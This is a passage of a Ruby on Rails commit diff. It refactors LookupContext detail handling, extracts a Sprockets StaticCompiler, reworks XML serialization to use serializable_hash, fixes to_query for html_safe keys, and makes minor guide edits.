aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Gemfile6
-rw-r--r--actionpack/lib/action_view/lookup_context.rb211
-rw-r--r--actionpack/lib/sprockets/assets.rake24
-rw-r--r--actionpack/lib/sprockets/railtie.rb1
-rw-r--r--actionpack/lib/sprockets/static_compiler.rb53
-rw-r--r--activemodel/lib/active_model/serializers/xml.rb46
-rw-r--r--activemodel/test/cases/serializers/xml_serialization_test.rb17
-rw-r--r--activerecord/lib/active_record/relation/query_methods.rb29
-rw-r--r--activerecord/lib/active_record/serializers/xml_serializer.rb2
-rw-r--r--activerecord/test/cases/query_cache_test.rb7
-rw-r--r--activesupport/lib/active_support/core_ext/object/to_query.rb2
-rw-r--r--activesupport/lib/active_support/core_ext/string/output_safety.rb2
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb16
-rw-r--r--activesupport/test/core_ext/object/to_query_test.rb9
-rw-r--r--railties/README.rdoc2
-rw-r--r--railties/guides/assets/images/i18n/demo_html_safe.pngbin0 -> 11946 bytes
-rw-r--r--railties/guides/source/action_view_overview.textile2
-rw-r--r--railties/guides/source/active_record_validations_callbacks.textile4
-rw-r--r--railties/guides/source/active_support_core_extensions.textile18
-rw-r--r--railties/guides/source/ajax_on_rails.textile4
-rw-r--r--railties/guides/source/api_documentation_guidelines.textile2
-rw-r--r--railties/guides/source/asset_pipeline.textile18
-rw-r--r--railties/guides/source/i18n.textile39
-rw-r--r--railties/guides/source/initialization.textile2
-rw-r--r--railties/guides/source/ruby_on_rails_guides_guidelines.textile2
-rw-r--r--railties/guides/source/security.textile6
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/Gemfile5
27 files changed, 331 insertions, 198 deletions
diff --git a/Gemfile b/Gemfile
index 5ce420c3a3..508d083fe6 100644
--- a/Gemfile
+++ b/Gemfile
@@ -75,7 +75,7 @@ end
platforms :jruby do
gem "ruby-debug", ">= 0.10.3"
gem "json"
- gem "activerecord-jdbcsqlite3-adapter"
+ gem "activerecord-jdbcsqlite3-adapter", ">= 1.2.0"
# This is needed by now to let tests work on JRuby
# TODO: When the JRuby guys merge jruby-openssl in
@@ -83,8 +83,8 @@ platforms :jruby do
gem "jruby-openssl"
group :db do
- gem "activerecord-jdbcmysql-adapter"
- gem "activerecord-jdbcpostgresql-adapter"
+ gem "activerecord-jdbcmysql-adapter", ">= 1.2.0"
+ gem "activerecord-jdbcpostgresql-adapter", ">= 1.2.0"
end
end
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
index 9ec410ac2b..a119df003a 100644
--- a/actionpack/lib/action_view/lookup_context.rb
+++ b/actionpack/lib/action_view/lookup_context.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/module/remove_method'
module ActionView
# = Action View Lookup Context
@@ -17,12 +18,11 @@ module ActionView
mattr_accessor :registered_details
self.registered_details = []
- mattr_accessor :registered_detail_setters
- self.registered_detail_setters = []
-
def self.register_detail(name, options = {}, &block)
self.registered_details << name
- self.registered_detail_setters << [name, "#{name}="]
+
+ initialize = registered_details.map { |n| "self.#{n} = details[:#{n}]" }
+ update = registered_details.map { |n| "self.#{n} = details[:#{n}] if details.key?(:#{n})" }
Accessors.send :define_method, :"_#{name}_defaults", &block
Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
@@ -34,6 +34,16 @@ module ActionView
value = Array.wrap(value.presence || _#{name}_defaults)
_set_detail(:#{name}, value) if value != @details[:#{name}]
end
+
+ remove_possible_method :initialize_details
+ def initialize_details(details)
+ #{initialize.join("\n")}
+ end
+
+ remove_possible_method :update_details
+ def update_details(details)
+ #{update.join("\n")}
+ end
METHOD
end
@@ -60,18 +70,53 @@ module ActionView
end
end
- def initialize(view_paths, details = {}, prefixes = [])
- @details, @details_key = { :handlers => default_handlers }, nil
- @frozen_formats, @skip_default_locale = false, false
- @cache = true
- @prefixes = prefixes
+ # Add caching behavior on top of Details.
+ module DetailsCache
+ attr_accessor :cache
- self.view_paths = view_paths
- self.registered_detail_setters.each do |key, setter|
- send(setter, details[key])
+ # Calculate the details key. Remove the handlers from calculation to improve performance
+ # since the user cannot modify it explicitly.
+ def details_key #:nodoc:
+ @details_key ||= DetailsKey.get(@details) if @cache
+ end
+
+ # Temporary skip passing the details_key forward.
+ def disable_cache
+ old_value, @cache = @cache, false
+ yield
+ ensure
+ @cache = old_value
+ end
+
+ # Update the details keys by merging the given hash into the current
+ # details hash. If a block is given, the details are modified just during
+ # the execution of the block and reverted to the previous value after.
+ def update_details(new_details)
+ if block_given?
+ old_details = @details.dup
+ super
+
+ begin
+ yield
+ ensure
+ @details_key = nil
+ @details = old_details
+ end
+ else
+ super
+ end
+ end
+
+ protected
+
+ def _set_detail(key, value)
+ @details_key = nil
+ @details = @details.dup if @details.frozen?
+ @details[key] = value.freeze
end
end
+ # Helpers related to template lookup using the lookup context information.
module ViewPaths
attr_reader :view_paths
@@ -141,111 +186,77 @@ module ActionView
end
end
- module Details
- attr_accessor :cache
-
- # Calculate the details key. Remove the handlers from calculation to improve performance
- # since the user cannot modify it explicitly.
- def details_key #:nodoc:
- @details_key ||= DetailsKey.get(@details) if @cache
- end
-
- # Temporary skip passing the details_key forward.
- def disable_cache
- old_value, @cache = @cache, false
- yield
- ensure
- @cache = old_value
- end
+ include Accessors
+ include DetailsCache
+ include ViewPaths
- # Freeze the current formats in the lookup context. By freezing them, you are guaranteeing
- # that next template lookups are not going to modify the formats. The controller can also
- # use this, to ensure that formats won't be further modified (as it does in respond_to blocks).
- def freeze_formats(formats, unless_frozen=false) #:nodoc:
- return if unless_frozen && @frozen_formats
- self.formats = formats
- @frozen_formats = true
- end
+ def initialize(view_paths, details = {}, prefixes = [])
+ @details, @details_key = { :handlers => default_handlers }, nil
+ @frozen_formats, @skip_default_locale = false, false
+ @cache = true
+ @prefixes = prefixes
- # Overload formats= to expand ["*/*"] values and automatically
- # add :html as fallback to :js.
- def formats=(values)
- if values
- values.concat(_formats_defaults) if values.delete "*/*"
- values << :html if values == [:js]
- end
- super(values)
- end
+ self.view_paths = view_paths
+ initialize_details(details)
+ end
- # Do not use the default locale on template lookup.
- def skip_default_locale!
- @skip_default_locale = true
- self.locale = nil
- end
+ # Freeze the current formats in the lookup context. By freezing them, you
+ # that next template lookups are not going to modify the formats. The con
+ # use this, to ensure that formats won't be further modified (as it does
+ def freeze_formats(formats, unless_frozen=false) #:nodoc:
+ return if unless_frozen && @frozen_formats
+ self.formats = formats
+ @frozen_formats = true
+ end
- # Overload locale to return a symbol instead of array.
- def locale
- @details[:locale].first
+ # Override formats= to expand ["*/*"] values and automatically
+ # add :html as fallback to :js.
+ def formats=(values)
+ if values
+ values.concat(_formats_defaults) if values.delete "*/*"
+ values << :html if values == [:js]
end
+ super(values)
+ end
- # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
- # to original_config, it means that it's has a copy of the original I18n configuration and it's
- # acting as proxy, which we need to skip.
- def locale=(value)
- if value
- config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
- config.locale = value
- end
-
- super(@skip_default_locale ? I18n.locale : _locale_defaults)
- end
+ # Do not use the default locale on template lookup.
+ def skip_default_locale!
+ @skip_default_locale = true
+ self.locale = nil
+ end
- # A method which only uses the first format in the formats array for layout lookup.
- # This method plays straight with instance variables for performance reasons.
- def with_layout_format
- if formats.size == 1
- yield
- else
- old_formats = formats
- _set_detail(:formats, formats[0,1])
+ # Override locale to return a symbol instead of array.
+ def locale
+ @details[:locale].first
+ end
- begin
- yield
- ensure
- _set_detail(:formats, old_formats)
- end
- end
+ # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
+ # to original_config, it means that it's has a copy of the original I18n configuration and it's
+ # acting as proxy, which we need to skip.
+ def locale=(value)
+ if value
+ config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
+ config.locale = value
end
- # Update the details keys by merging the given hash into the current
- # details hash. If a block is given, the details are modified just during
- # the execution of the block and reverted to the previous value after.
- def update_details(new_details)
- old_details = @details.dup
+ super(@skip_default_locale ? I18n.locale : _locale_defaults)
+ end
- registered_detail_setters.each do |key, setter|
- send(setter, new_details[key]) if new_details.key?(key)
- end
+ # A method which only uses the first format in the formats array for layout lookup.
+ # This method plays straight with instance variables for performance reasons.
+ def with_layout_format
+ if formats.size == 1
+ yield
+ else
+ old_formats = formats
+ _set_detail(:formats, formats[0,1])
begin
yield
ensure
- @details_key = nil
- @details = old_details
+ _set_detail(:formats, old_formats)
end
end
-
- protected
-
- def _set_detail(key, value)
- @details_key = nil
- @details = @details.dup if @details.frozen?
- @details[key] = value.freeze
- end
end
-
- include Accessors
- include Details
- include ViewPaths
end
end
diff --git a/actionpack/lib/sprockets/assets.rake b/actionpack/lib/sprockets/assets.rake
index 81223b7ead..e38ac6b489 100644
--- a/actionpack/lib/sprockets/assets.rake
+++ b/actionpack/lib/sprockets/assets.rake
@@ -20,30 +20,10 @@ namespace :assets do
config = Rails.application.config
env = Rails.application.assets
target = Pathname.new(File.join(Rails.public_path, config.assets.prefix))
- manifest = {}
manifest_path = config.assets.manifest || target
- config.assets.precompile.each do |path|
- env.each_logical_path do |logical_path|
- if path.is_a?(Regexp)
- next unless path.match(logical_path)
- elsif path.is_a?(Proc)
- next unless path.call(logical_path)
- else
- next unless File.fnmatch(path.to_s, logical_path)
- end
-
- if asset = env.find_asset(logical_path)
- asset_path = config.assets.digest ? asset.digest_path : logical_path
- manifest[logical_path] = asset_path
- filename = target.join(asset_path)
-
- mkdir_p filename.dirname
- asset.write_to(filename)
- asset.write_to("#{filename}.gz") if filename.to_s =~ /\.(css|js)$/
- end
- end
- end
+ static_compiler = Sprockets::StaticCompiler.new(env, target, :digest => config.assets.digest)
+ manifest = static_compiler.precompile(config.assets.precompile)
File.open("#{manifest_path}/manifest.yml", 'wb') do |f|
YAML.dump(manifest, f)
diff --git a/actionpack/lib/sprockets/railtie.rb b/actionpack/lib/sprockets/railtie.rb
index f05d835554..9b31604dbe 100644
--- a/actionpack/lib/sprockets/railtie.rb
+++ b/actionpack/lib/sprockets/railtie.rb
@@ -2,6 +2,7 @@ module Sprockets
autoload :Helpers, "sprockets/helpers"
autoload :LazyCompressor, "sprockets/compressors"
autoload :NullCompressor, "sprockets/compressors"
+ autoload :StaticCompiler, "sprockets/static_compiler"
# TODO: Get rid of config.assets.enabled
class Railtie < ::Rails::Railtie
diff --git a/actionpack/lib/sprockets/static_compiler.rb b/actionpack/lib/sprockets/static_compiler.rb
new file mode 100644
index 0000000000..fa4f9451df
--- /dev/null
+++ b/actionpack/lib/sprockets/static_compiler.rb
@@ -0,0 +1,53 @@
+require 'fileutils'
+require 'pathname'
+
+module Sprockets
+ class StaticCompiler
+ attr_accessor :env, :target, :digest
+
+ def initialize(env, target, options = {})
+ @env = env
+ @target = target
+ @digest = options.key?(:digest) ? options.delete(:digest) : true
+ end
+
+ def precompile(paths)
+ Rails.application.config.assets.digest = digest
+ manifest = {}
+
+ env.each_logical_path do |logical_path|
+ next unless precompile_path?(logical_path, paths)
+ if asset = env.find_asset(logical_path)
+ manifest[logical_path] = compile(asset)
+ end
+ end
+ manifest
+ end
+
+ def compile(asset)
+ asset_path = digest_asset(asset)
+ filename = target.join(asset_path)
+ FileUtils.mkdir_p filename.dirname
+ asset.write_to(filename)
+ asset.write_to("#{filename}.gz") if filename.to_s =~ /\.(css|js)$/
+ asset_path
+ end
+
+ def precompile_path?(logical_path, paths)
+ paths.each do |path|
+ if path.is_a?(Regexp)
+ return true if path.match(logical_path)
+ elsif path.is_a?(Proc)
+ return true if path.call(logical_path)
+ else
+ return true if File.fnmatch(path.to_s, logical_path)
+ end
+ end
+ false
+ end
+
+ def digest_asset(asset)
+ digest ? asset.digest_path : asset.logical_path
+ end
+ end
+end
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 64dda3bcee..d61d9d7119 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -15,10 +15,10 @@ module ActiveModel
class Attribute #:nodoc:
attr_reader :name, :value, :type
- def initialize(name, serializable, raw_value=nil)
+ def initialize(name, serializable, value)
@name, @serializable = name, serializable
- raw_value = raw_value.in_time_zone if raw_value.respond_to?(:in_time_zone)
- @value = raw_value || @serializable.send(name)
+ value = value.in_time_zone if value.respond_to?(:in_time_zone)
+ @value = value
@type = compute_type
end
@@ -49,40 +49,24 @@ module ActiveModel
def initialize(serializable, options = nil)
@serializable = serializable
@options = options ? options.dup : {}
-
- @options[:only] = Array.wrap(@options[:only]).map { |n| n.to_s }
- @options[:except] = Array.wrap(@options[:except]).map { |n| n.to_s }
end
- # To replicate the behavior in ActiveRecord#attributes, <tt>:except</tt>
- # takes precedence over <tt>:only</tt>. If <tt>:only</tt> is not set
- # for a N level model but is set for the N+1 level models,
- # then because <tt>:except</tt> is set to a default value, the second
- # level model can have both <tt>:except</tt> and <tt>:only</tt> set. So if
- # <tt>:only</tt> is set, always delete <tt>:except</tt>.
- def attributes_hash
- attributes = @serializable.attributes
- if options[:only].any?
- attributes.slice(*options[:only])
- elsif options[:except].any?
- attributes.except(*options[:except])
- else
- attributes
- end
+ def serializable_hash
+ @serializable.serializable_hash(@options.except(:include))
end
- def serializable_attributes
- attributes_hash.map do |name, value|
- self.class::Attribute.new(name, @serializable, value)
+ def serializable_collection
+ methods = Array.wrap(options[:methods]).map(&:to_s)
+ serializable_hash.map do |name, value|
+ name = name.to_s
+ if methods.include?(name)
+ self.class::MethodAttribute.new(name, @serializable, value)
+ else
+ self.class::Attribute.new(name, @serializable, value)
+ end
end
end
- def serializable_methods
- Array.wrap(options[:methods]).map do |name|
- self.class::MethodAttribute.new(name.to_s, @serializable) if @serializable.respond_to?(name.to_s)
- end.compact
- end
-
def serialize
require 'builder' unless defined? ::Builder
@@ -114,7 +98,7 @@ module ActiveModel
end
def add_attributes_and_methods
- (serializable_attributes + serializable_methods).each do |attribute|
+ serializable_collection.each do |attribute|
key = ActiveSupport::XmlMini.rename_key(attribute.name, options)
ActiveSupport::XmlMini.to_tag(key, attribute.value,
options.merge(attribute.decorations))
diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb
index a38ef8e223..fc73d9dcd8 100644
--- a/activemodel/test/cases/serializers/xml_serialization_test.rb
+++ b/activemodel/test/cases/serializers/xml_serialization_test.rb
@@ -33,6 +33,12 @@ class Address
end
end
+class SerializableContact < Contact
+ def serializable_hash(options={})
+ super(options.merge(:only => [:name, :age]))
+ end
+end
+
class XmlSerializationTest < ActiveModel::TestCase
def setup
@contact = Contact.new
@@ -96,6 +102,17 @@ class XmlSerializationTest < ActiveModel::TestCase
assert_match %r{<createdAt}, @xml
end
+ test "should use serialiable hash" do
+ @contact = SerializableContact.new
+ @contact.name = 'aaron stack'
+ @contact.age = 25
+
+ @xml = @contact.to_xml
+ assert_match %r{<name>aaron stack</name>}, @xml
+ assert_match %r{<age type="integer">25</age>}, @xml
+ assert_no_match %r{<awesome>}, @xml
+ end
+
test "should allow skipped types" do
@xml = @contact.to_xml :skip_types => true
assert_match %r{<age>25</age>}, @xml
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index a11b7a3864..670ba0987d 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -37,6 +37,35 @@ module ActiveRecord
relation
end
+ # Works in two unique ways.
+ #
+ # First: takes a block so it can be used just like Array#select.
+ #
+ # Model.scoped.select { |m| m.field == value }
+ #
+ # This will build an array of objects from the database for the scope,
+ # converting them into an array and iterating through them using Array#select.
+ #
+ # Second: Modifies the SELECT statement for the query so that only certain
+ # fields are retrieved:
+ #
+ # >> Model.select(:field)
+ # => [#<Model field:value>]
+ #
+ # Although in the above example it looks as though this method returns an
+ # array, it actually returns a relation object and can have other query
+ # methods appended to it, such as the other methods in ActiveRecord::QueryMethods.
+ #
+ # This method will also take multiple parameters:
+ #
+ # >> Model.select(:field, :other_field, :and_one_more)
+ # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+ #
+ # Any attributes that do not have fields retrieved by a select
+ # will return `nil` when the getter method for that attribute is used:
+ #
+ # >> Model.select(:field).first.other_field
+ # => nil
def select(value = Proc.new)
if block_given?
to_a.select {|*block_args| value.call(*block_args) }
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
index cbfa1ad609..0e7f57aa43 100644
--- a/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -179,7 +179,7 @@ module ActiveRecord #:nodoc:
class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc:
def initialize(*args)
super
- options[:except] |= Array.wrap(@serializable.class.inheritance_column)
+ options[:except] = Array.wrap(options[:except]) | Array.wrap(@serializable.class.inheritance_column)
end
class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc:
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index e3ad0cad90..7feac2b920 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -147,13 +147,16 @@ class QueryCacheTest < ActiveRecord::TestCase
end
def test_cache_does_not_wrap_string_results_in_arrays
- require 'sqlite3/version' if current_adapter?(:SQLite3Adapter)
+ if current_adapter?(:SQLite3Adapter)
+ require 'sqlite3/version'
+ sqlite3_version = RUBY_PLATFORM =~ /java/ ? Jdbc::SQLite3::VERSION : SQLite3::VERSION
+ end
Task.cache do
# Oracle adapter returns count() as Fixnum or Float
if current_adapter?(:OracleAdapter)
assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
- elsif current_adapter?(:SQLite3Adapter) && SQLite3::VERSION > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter)
+ elsif current_adapter?(:SQLite3Adapter) && sqlite3_version > '1.2.5' || current_adapter?(:Mysql2Adapter) || current_adapter?(:MysqlAdapter)
# Future versions of the sqlite3 adapter will return numeric
assert_instance_of Fixnum,
Task.connection.select_value("SELECT count(*) AS count_all FROM tasks")
diff --git a/activesupport/lib/active_support/core_ext/object/to_query.rb b/activesupport/lib/active_support/core_ext/object/to_query.rb
index 3f1540f685..5d5fcf00e0 100644
--- a/activesupport/lib/active_support/core_ext/object/to_query.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_query.rb
@@ -7,7 +7,7 @@ class Object
# Note: This method is defined as a default implementation for all Objects for Hash#to_query to work.
def to_query(key)
require 'cgi' unless defined?(CGI) && defined?(CGI::escape)
- "#{CGI.escape(key.to_s)}=#{CGI.escape(to_param.to_s)}"
+ "#{CGI.escape(key.to_param)}=#{CGI.escape(to_param.to_s)}"
end
end
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
index 3ae3d64fa4..94999807dd 100644
--- a/activesupport/lib/active_support/core_ext/string/output_safety.rb
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -144,7 +144,7 @@ module ActiveSupport #:nodoc:
UNSAFE_STRING_METHODS.each do |unsafe_method|
class_eval <<-EOT, __FILE__, __LINE__ + 1
def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
- to_str.#{unsafe_method}(*args, &block) # to_str.gsub(*args, &block)
+ to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
end # end
def #{unsafe_method}!(*args) # def capitalize!(*args)
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 1813ba2a4d..fa800eada2 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -9,7 +9,7 @@ require 'active_support/inflections'
class HashExtTest < Test::Unit::TestCase
class IndifferentHash < HashWithIndifferentAccess
end
-
+
class SubclassingArray < Array
end
@@ -272,14 +272,14 @@ class HashExtTest < Test::Unit::TestCase
hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
assert_equal "1", hash[:urls][:url].first[:address]
end
-
+
def test_should_preserve_array_subclass_when_value_is_array
array = SubclassingArray.new
array << { "address" => "1" }
hash = { "urls" => { "url" => array }}.with_indifferent_access
assert_equal SubclassingArray, hash[:urls][:url].class
end
-
+
def test_should_preserve_array_class_when_hash_value_is_frozen_array
array = SubclassingArray.new
array << { "address" => "1" }
@@ -543,7 +543,7 @@ class HashExtToParamTests < Test::Unit::TestCase
end
def test_to_param_hash
- assert_equal 'custom2=param2-1&custom=param-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param
+ assert_equal 'custom-1=param-1&custom2-1=param2-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param
end
def test_to_param_hash_escapes_its_keys_and_values
@@ -955,13 +955,13 @@ class HashToXmlTest < Test::Unit::TestCase
hash = Hash.from_xml(xml)
assert_equal "bacon is the best", hash['blog']['name']
end
-
+
def test_empty_cdata_from_xml
xml = "<data><![CDATA[]]></data>"
-
+
assert_equal "", Hash.from_xml(xml)["data"]
end
-
+
def test_xsd_like_types_from_xml
bacon_xml = <<-EOT
<bacon>
@@ -1004,7 +1004,7 @@ class HashToXmlTest < Test::Unit::TestCase
assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]
end
-
+
def test_should_use_default_value_for_unknown_key
hash_wia = HashWithIndifferentAccess.new(3)
assert_equal 3, hash_wia[:new_key]
diff --git a/activesupport/test/core_ext/object/to_query_test.rb b/activesupport/test/core_ext/object/to_query_test.rb
index 84da52f4bf..c146f6cc9b 100644
--- a/activesupport/test/core_ext/object/to_query_test.rb
+++ b/activesupport/test/core_ext/object/to_query_test.rb
@@ -1,6 +1,7 @@
require 'abstract_unit'
require 'active_support/ordered_hash'
require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/string/output_safety.rb'
class ToQueryTest < Test::Unit::TestCase
def test_simple_conversion
@@ -11,6 +12,14 @@ class ToQueryTest < Test::Unit::TestCase
assert_query_equal 'a%3Ab=c+d', 'a:b' => 'c d'
end
+ def test_html_safe_parameter_key
+ assert_query_equal 'a%3Ab=c+d', 'a:b'.html_safe => 'c d'
+ end
+
+ def test_html_safe_parameter_value
+ assert_query_equal 'a=%5B10%5D', 'a' => '[10]'.html_safe
+ end
+
def test_nil_parameter_value
empty = Object.new
def empty.to_param; nil end
diff --git a/railties/README.rdoc b/railties/README.rdoc
index 501541eb06..95c43045b0 100644
--- a/railties/README.rdoc
+++ b/railties/README.rdoc
@@ -6,7 +6,7 @@ Railties is responsible for gluing all frameworks together. Overall, it:
* manages the +rails+ command line interface;
-* and provides Rails generators core.
+* and provides the Rails generators core.
== Download
diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png
new file mode 100644
index 0000000000..f881f60dac
--- /dev/null
+++ b/railties/guides/assets/images/i18n/demo_html_safe.png
Binary files differ
diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile
index 87250c684b..40cde6ad84 100644
--- a/railties/guides/source/action_view_overview.textile
+++ b/railties/guides/source/action_view_overview.textile
@@ -898,7 +898,7 @@ h5. select_year
Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
<ruby>
-# Generates a select field for five years on either side of +Date.today+ that defaults to the current year
+# Generates a select field for five years on either side of Date.today that defaults to the current year
select_year(Date.today)
# Generates a select field from 1900 to 2009 that defaults to the current year
diff --git a/railties/guides/source/active_record_validations_callbacks.textile b/railties/guides/source/active_record_validations_callbacks.textile
index 20f5e52891..5c3aae2955 100644
--- a/railties/guides/source/active_record_validations_callbacks.textile
+++ b/railties/guides/source/active_record_validations_callbacks.textile
@@ -328,7 +328,7 @@ This helper validates that your attributes have only numeric values. By default,
If you set +:only_integer+ to +true+, then it will use the
<ruby>
-/\A[+-]?\d+\Z/
+/\A[<plus>-]?\d<plus>\Z/
</ruby>
regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
@@ -597,7 +597,7 @@ The easiest way to add custom validators for validating individual attributes is
<ruby>
class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
- unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
+ unless value =~ /\A([^@\s]<plus>)@((?:[-a-z0-9]<plus>\.)+[a-z]{2,})\z/i
record.errors[attribute] << (options[:message] || "is not an email")
end
end
diff --git a/railties/guides/source/active_support_core_extensions.textile b/railties/guides/source/active_support_core_extensions.textile
index d006cc9214..5aee001545 100644
--- a/railties/guides/source/active_support_core_extensions.textile
+++ b/railties/guides/source/active_support_core_extensions.textile
@@ -296,7 +296,7 @@ This method escapes whatever is needed, both for the key and the value:
<ruby>
account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson+%26+Johnson"
+# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
</ruby>
so its output is ready to be used in a query string.
@@ -3385,7 +3385,7 @@ They are analogous. Please refer to their documentation above and take into acco
Time.zone_default
# => #<ActiveSupport::TimeZone:0x7f73654d4f38 @utc_offset=nil, @name="Madrid", ...>
-# In Barcelona, 2010/03/28 02:00 +0100 becomes 2010/03/28 03:00 +0200 due to DST.
+# In Barcelona, 2010/03/28 02:00 <plus>0100 becomes 2010/03/28 03:00 <plus>0200 due to DST.
t = Time.local_time(2010, 3, 28, 1, 59, 59)
# => Sun Mar 28 01:59:59 +0100 2010
t.advance(:seconds => 1)
@@ -3408,7 +3408,7 @@ The method +all_day+ returns a range representing the whole day of the current t
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_day
-# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Mon, 09 Aug 2010 23:59:59 UTC <plus>00:00
</ruby>
Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the purpose of generating time ranges.
@@ -3417,13 +3417,13 @@ Analogously, +all_week+, +all_month+, +all_quarter+ and +all_year+ all serve the
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now.all_week
-# => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Sun, 15 Aug 2010 23:59:59 UTC +00:00
+# => Mon, 09 Aug 2010 00:00:00 UTC <plus>00:00..Sun, 15 Aug 2010 23:59:59 UTC <plus>00:00
now.all_month
-# => Sat, 01 Aug 2010 00:00:00 UTC +00:00..Tue, 31 Aug 2010 23:59:59 UTC +00:00
+# => Sat, 01 Aug 2010 00:00:00 UTC <plus>00:00..Tue, 31 Aug 2010 23:59:59 UTC <plus>00:00
now.all_quarter
-# => Thu, 01 Jul 2010 00:00:00 UTC +00:00..Thu, 30 Sep 2010 23:59:59 UTC +00:00
+# => Thu, 01 Jul 2010 00:00:00 UTC <plus>00:00..Thu, 30 Sep 2010 23:59:59 UTC <plus>00:00
now.all_year
-# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
+# => Fri, 01 Jan 2010 00:00:00 UTC <plus>00:00..Fri, 31 Dec 2010 23:59:59 UTC <plus>00:00
</ruby>
h4. Time Constructors
@@ -3518,8 +3518,8 @@ h4. +around_[level]+
Takes two arguments, a +before_message+ and +after_message+ and calls the current level method on the +Logger+ instance, passing in the +before_message+, then the specified message, then the +after_message+:
<ruby>
- logger = Logger.new("log/development.log")
- logger.around_info("before", "after") { |logger| logger.info("during") }
+logger = Logger.new("log/development.log")
+logger.around_info("before", "after") { |logger| logger.info("during") }
</ruby>
h4. +silence+
diff --git a/railties/guides/source/ajax_on_rails.textile b/railties/guides/source/ajax_on_rails.textile
index 77f7661deb..29d4fae888 100644
--- a/railties/guides/source/ajax_on_rails.textile
+++ b/railties/guides/source/ajax_on_rails.textile
@@ -104,7 +104,7 @@ Note that if we wouldn't override the default behavior (POST), the above snippet
link_to_remote "Update record",
:url => record_url(record),
:method => :put,
- :with => "'status=' + 'encodeURIComponent($('status').value) + '&completed=' + $('completed')"
+ :with => "'status=' <plus> 'encodeURIComponent($('status').value) <plus> '&completed=' <plus> $('completed')"
</ruby>
This generates a remote link which adds 2 parameters to the standard URL generated by Rails, taken from the page (contained in the elements matched by the 'status' and 'completed' DOM id).
@@ -124,6 +124,7 @@ link_to_remote "Add new item",
404 => "alert('Item not found!')"
</ruby>
Let's see a typical example for the most frequent callbacks, +:success+, +:failure+ and +:complete+ in action:
+
<ruby>
link_to_remote "Add new item",
:url => items_url,
@@ -133,6 +134,7 @@ link_to_remote "Add new item",
:success => "display_item_added(request)",
:failure => "display_error(request)"
</ruby>
+
** *:type* If you want to fire a synchronous request for some obscure reason (blocking the browser while the request is processed and doesn't return a status code), you can use the +:type+ option with the value of +:synchronous+.
* Finally, using the +html_options+ parameter you can add HTML attributes to the generated tag. It works like the same parameter of the +link_to+ helper. There are interesting side effects for the +href+ and +onclick+ parameters though:
** If you specify the +href+ parameter, the AJAX link will degrade gracefully, i.e. the link will point to the URL even if JavaScript is disabled in the client browser
diff --git a/railties/guides/source/api_documentation_guidelines.textile b/railties/guides/source/api_documentation_guidelines.textile
